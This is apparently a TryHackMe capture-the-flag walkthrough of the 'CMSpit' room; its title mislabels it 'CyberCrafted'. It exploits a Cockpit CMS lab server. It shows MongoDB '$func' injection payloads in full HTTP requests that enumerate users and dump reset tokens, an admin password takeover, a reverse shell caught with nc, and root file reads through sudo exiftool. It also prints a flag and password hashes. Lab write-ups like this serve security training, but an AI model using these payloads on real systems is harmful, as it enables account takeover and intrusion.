TryHackMe - CyberCrafted
You’ve identified that the CMS installed on the web server has several vulnerabilities that allow attackers to enumerate users and change account passwords.
Your mission is to exploit these vulnerabilities and compromise the web server.
Title | CMSpit |
---|---|
Difficulty | Medium |
Author | stuxnet |
Tags | MongoDB, Webapp, RCE |
Enumeration
Nmap
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn cmspit.thm
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-30 22:44 EDT
Warning: 10.10.39.101 giving up on port because retransmission cap hit (10).
Nmap scan report for cmspit.thm (10.10.39.101)
Host is up (0.32s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 45.32 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 22,80 cmspit.thm
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-30 22:45 EDT
Nmap scan report for cmspit.thm (10.10.39.101)
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7f:25:f9:40:23:25:cd:29:8b:28:a9:d9:82:f5:49:e4 (RSA)
| 256 0a:f4:29:ed:55:43:19:e7:73:a7:09:79:30:a8:49:1b (ECDSA)
|_ 256 2f:43:ad:a3:d1:5b:64:86:33:07:5d:94:f9:dc:a4:01 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-title: Authenticate Please!
|_Requested resource was /auth/login?to=/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.4
OS details: Linux 5.4
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 264.78 ms 10.9.0.1
2 338.71 ms cmspit.thm (10.10.39.101)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.87 seconds
HTTP (Port 80
)
Enter the target URL http://cmspit.thm/
and the application will automatically route to the authentication path as /auth/login?to=/
:
Press Ctrl+U
to view the page source and I explore these blocks of script:
Provide the version of the CMS:
Provide the authentication logic:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
this.error = false;
this.$user = null;
var redirectTo = '/';
submit(e) {
e.preventDefault();
this.error = false;
App.request('/auth/check', {
auth : {user:this.refs.user.value, password:this.refs.password.value },
csfr : "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"
}).then(function(data) {
if (data && data.success) {
this.$user = data.user;
setTimeout(function(){
App.reroute(redirectTo);
}, 2000)
} else {
this.error = 'Login failed';
App.$(this.header).addClass('uk-bg-danger uk-contrast');
App.$('#login-dialog').removeClass('uk-animation-shake');
setTimeout(function(){
App.$('#login-dialog').addClass('uk-animation-shake');
}, 50);
}
this.update();
}.bind(this), function(res) {
App.ui.notify(res && (res.message || res.error) ? (res.message || res.error) : 'Login failed.', 'danger');
});
return false;
}
// i18n for uikit-formPassword
UIkit.components.formPassword.prototype.defaults.lblShow = 'Show';
UIkit.components.formPassword.prototype.defaults.lblHide = 'Hide';
At the csfr section in the App.request('/auth/check')
, there is a encoded string:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc
The first 2 parts could be decoded from base64 to:
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" -> {"typ":"JWT","alg":"HS256"}
"eyJjc2ZyIjoibG9naW4ifQ" -> {"csfr":"login"}
Click on the Forgot Password? link below the login form:
Press Ctrl + U
to view the page source and also discover this block of script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
this.error = false;
this.reset = false;
this.message = false;
submit(e) {
e.preventDefault();
this.error = false;
this.reset = false;
App.request('/auth/requestreset', {user:this.refs.user.value}).then(function(data){
this.reset = true;
this.message = data.message;
this.update();
}.bind(this)).catch(function(data) {
this.error = typeof data.error === 'string' ? data.error : 'Something went wrong';
App.$('#reset-dialog').removeClass('uk-animation-shake');
setTimeout(function(){
App.$('#reset-dialog').addClass('uk-animation-shake');
}, 50);
this.update();
}.bind(this));
return false;
}
The path /auth/requestreset
checks the username value whether it is valid (exits). If it exits, the application will generate the message as a token for resetting the password of selected user.
Fuzzing
┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://cmspit.thm/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cmspit.thm/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://cmspit.thm/ef4eba02-1674-4320-b732-0fe0beebe181 => 302 (Length: 0). To continue please exclude the status code or the length
┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://cmspit.thm/ --exlcude-length 0
Error: unknown flag: --exlcude-length
┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://cmspit.thm/ --exclude-length 0
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cmspit.thm/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: 0
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/modules (Status: 301) [Size: 310] [--> http://cmspit.thm/modules/]
/assets (Status: 301) [Size: 309] [--> http://cmspit.thm/assets/]
/storage (Status: 301) [Size: 310] [--> http://cmspit.thm/storage/]
/lib (Status: 301) [Size: 306] [--> http://cmspit.thm/lib/]
/install (Status: 301) [Size: 310] [--> http://cmspit.thm/install/]
/cp (Status: 403) [Size: 275]
/auth (Status: 200) [Size: 33]
/LICENSE (Status: 200) [Size: 1133]
/addons (Status: 301) [Size: 309] [--> http://cmspit.thm/addons/]
User Enumeration
Googling for awhile and thanks to this source helps me a lot to enumerate the users manually. On the default path /auth/login?to=/
, enter a random USERNAME and PASSWORD (Ex: admin:admin), then capture the request using burpsuite like this:
POST /auth/check HTTP/1.1
Host: cmspit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 157
Origin: http://cmspit.thm
Connection: close
Referer: http://cmspit.thm/auth/login?to=/
Cookie: 8071dec2be26139e39a170762581c00f=tpd4vub3jm08vns2gln5nadmgb
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"}
Modify the ”user” data to:
"user":"admin" -> "user": {"$func":"var_dump"}
POST /auth/check HTTP/1.1
Host: cmspit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 175
Origin: http://cmspit.thm
Connection: close
Referer: http://cmspit.thm/auth/login?to=/
Cookie: 8071dec2be26139e39a170762581c00f=tpd4vub3jm08vns2gln5nadmgb
{"auth":{"user":{
"$func": "var_dump"
},"password":"admin"},"csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"}
Send the request the capture the response as below:
HTTP/1.0 200 OK
Date: Sun, 01 Oct 2023 03:49:33 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 125
Connection: close
Content-Type: application/json
string(5) "admin"
string(12) "darkStar7471"
string(5) "skidy"
string(8) "ekoparty"
{"success":false,"error":"User not found"}
Exploit
Compromise User Data
Access the path /auth/requestreset/
, enter the username skidy into the field and click RESET to send the request:
Capture the request & response in burpsuite:
POST /auth/requestreset HTTP/1.1
Host: cmspit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 16
Origin: http://cmspit.thm
Connection: close
Referer: http://cmspit.thm/auth/forgotpassword
Cookie: 8071dec2be26139e39a170762581c00f=pcmp2gb5ickiqe9v57dnh33sts
{"user":"skidy"}
Send to Repeater tab and modify the request within:
/auth/requestreset/
→/auth/resetpassword
"user":"skidy"
→”token”:{”$func”:”var_dump”}
POST /auth/resetpassword HTTP/1.1
Host: cmspit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 16
Origin: http://cmspit.thm
Connection: close
Referer: http://cmspit.thm/auth/forgotpassword
Cookie: 8071dec2be26139e39a170762581c00f=pcmp2gb5ickiqe9v57dnh33sts
{"token":{
"$func":"var_dump"
}}
Send the request and capture the response:
HTTP/1.0 404 Not Found
Date: Sun, 01 Oct 2023 04:22:23 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 168
Connection: close
Content-Type: text/html;charset=UTF-8
string(48) "rp-d72d501f6207ac757ac3cb114d1a0a4760a88abe28f23"
string(48) "rp-abe0605c21363542ccbe4197025c59776518f33a78149"
{"error": "404", "message":"File not found"}
Copy one of the token strings and modify the request once again to dump the user account data within:
/auth/resetpassword/
→/auth/newpassword/
”token”:{”$func”:”var_dump”}
→"token":"<token_string>"
POST /auth/newpassword HTTP/1.1
Host: cmspit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 60
Origin: http://cmspit.thm
Connection: close
Referer: http://cmspit.thm/auth/forgotpassword
Cookie: 8071dec2be26139e39a170762581c00f=pcmp2gb5ickiqe9v57dnh33sts
{"token":"rp-d72d501f6207ac757ac3cb114d1a0a4760a88abe28f23"}
In the response, scroll down to the <script>
tag and get the user account data including username, password hash, email,…:
this.user = {"user":"admin","name":"Admin","email":"admin@yourdomain.de","active":true,"group":"admin","password":"$2y$10$dChrF2KNbWuib\/5lW1ePiegKYSxHeqWwrVC.FN5kyqhIsIdbtnOjq","i18n":"en","_created":1621655201,"_modified":1621655201,"_id":"60a87ea165343539ee000300","_reset_token":"rp-d72d501f6207ac757ac3cb114d1a0a4760a88abe28f23","md5email":"a11eea8bf873a483db461bb169beccec"};
this.user = {"user":"skidy","email":"skidy@tryhackme.fakemail","active":true,"group":"admin","i18n":"en","api_key":"account-21ca3cfc400e3e565cfcb0e3f6b96d","password":"$2y$10$uiZPeUQNErlnYxbI5PsnLurWgvhOCW2LbPovpL05XTWY.jCUave6S","name":"Skidy","_modified":1621719311,"_created":1621719311,"_id":"60a9790f393037a2e400006a","_reset_token":"rp-abe0605c21363542ccbe4197025c59776518f33a78149","md5email":"5dfac21f8549f298b8ee60e4b90c0e66"};
Change password
Back to the request that POST to the /auth/resetpassword/
path, modify the data as:
{"token":"<TOKEN_STRING>",
"password":"<NEW_PASSWORD>"}
POST /auth/resetpassword HTTP/1.1
Host: cmspit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 34
Origin: http://cmspit.thm
Connection: close
Referer: http://cmspit.thm/auth/forgotpassword
Cookie: 8071dec2be26139e39a170762581c00f=pcmp2gb5ickiqe9v57dnh33sts
{"token":"rp-d72d501f6207ac757ac3cb114d1a0a4760a88abe28f23",
"password":"adminpass"}
The password is reset successfully when the response message like this:
HTTP/1.0 200 OK
Date: Sun, 01 Oct 2023 04:46:43 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 45
Connection: close
Content-Type: application/json
{"success":true,"message":"Password updated"}
If the response message is File not found like this:
HTTP/1.0 404 Not Found
Date: Sun, 01 Oct 2023 04:41:06 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 44
Connection: close
Content-Type: text/html;charset=UTF-8
{"error": "404", "message":"File not found"}
Please back to the /auth/resetpassword/
path and re-generate the token string with "$func":"var_dump"
then take the token string at the first line as the admin’s token and re-send the request to change a new password.
Get Access admin account:
Back to the login page and enter a new creds to login:
Wait for awhile for the authentication process and the application will automatically route to the main page:
Route to the /finder
path to view all the files in the current workstation and get the web-flag:
then upload a reverse shell to implement the RCE attack:
After uploading the reverse shell successfully, start a listener on the local machine then modify the URL to the target path to execute the shell:
┌──(kali㉿kali)-[~/TryHackMe/cmspit]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.241.220] 49410
Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
22:03:12 up 1:01, 0 users, load average: 34.22, 34.72, 36.43
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami;pwd
www
Navigate to the /var/www/html/[REDACTED]/
directory and get the web-flag:
$ pwd
/var/www/html/[REDACTED]
$ cat webflag.php
<?php
$flag = "[REDACTED]";
?>
Database flag
Enumerate the user stux
directory and I find out the .dbshell file might contains sensitive information:
$ ls -la /home/stux/
total 44
drwxr-xr-x 4 stux stux 4096 May 22 2021 .
drwxr-xr-x 3 root root 4096 May 21 2021 ..
-rw-r--r-- 1 root root 74 May 22 2021 .bash_history
-rw-r--r-- 1 stux stux 220 May 21 2021 .bash_logout
-rw-r--r-- 1 stux stux 3771 May 21 2021 .bashrc
drwx------ 2 stux stux 4096 May 21 2021 .cache
-rw-r--r-- 1 root root 429 May 21 2021 .dbshell
-rwxrwxrwx 1 root root 0 May 21 2021 .mongorc.js
drwxrwxr-x 2 stux stux 4096 May 21 2021 .nano
-rw-r--r-- 1 stux stux 655 May 21 2021 .profile
-rw-r--r-- 1 stux stux 0 May 21 2021 .sudo_as_admin_successful
-rw-r--r-- 1 root root 312 May 21 2021 .wget-hsts
-rw------- 1 stux stux 46 May 22 2021 user.txt
Read it’s content and then I capture the database flag. I also observe the user stux‘s creds additionally:
$ cat /home/stux/.dbshell
show
show dbs
use admin
use sudousersbak
show dbs
db.user.insert({name: "stux", name: "[REDACTED]"})
show dbs
use sudousersbak
show collections
db
show
db.collectionName.find()
show collections
db.collection_name.find().pretty()
db.user.find().pretty()
db.user.insert({name: "stux"})
db.user.find().pretty()
db.flag.insert({name: "[REDACTED]"})
show collections
db.flag.find().pretty()
Horizontal Privilege Escalation
Using the creds found earlier to compromise the user stux, I easily get the user flag:
www-data@ubuntu:/home/stux$ su stux
su stux
Password: [REDACTED]
stux@ubuntu:~$ cat user.txt
cat user.txt
[REDACTED]
Vertical Privilege Escalation
Type sudo -l
to list the allowed commands for the invoking user (stux) and I explore the exiftool service:
stux@ubuntu:~$ sudo -l
sudo -l
Matching Defaults entries for stux on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User stux may run the following commands on ubuntu:
(root) NOPASSWD: /usr/local/bin/exiftool
Through the GTFOBins, the exiftool within sudo permission could be exploit by specifying the target file to read as $INPUT and the destination to write as $LFILE:
LFILE=file_to_write
INPUT=input_file
sudo exiftool -filename=$LFILE $INPUT
Therefore, I declare the /root/root.txt as the target file and the root.txt in the current location as the written file and get the root flag:
stux@ubuntu:~$ sudo /usr/local/bin/exiftool -filename=/home/stux/root.txt /root/root.txt
<cal/bin/exiftool -filename=/home/stux/root.txt /root/root.txt
1 image files updated
stux@ubuntu:~$ ls -l
ls -l
total 12
-rw-rw-r-- 1 stux stux 268 Sep 30 23:18 exploit.c
-rw-r--r-- 1 root root 46 May 22 2021 root.txt
-rw------- 1 stux stux 46 May 22 2021 user.txt
stux@ubuntu:~$ cat root.txt
cat root.txt
thm{bf52a85b12cf49b9b6d77643771d74e90d4d5ada}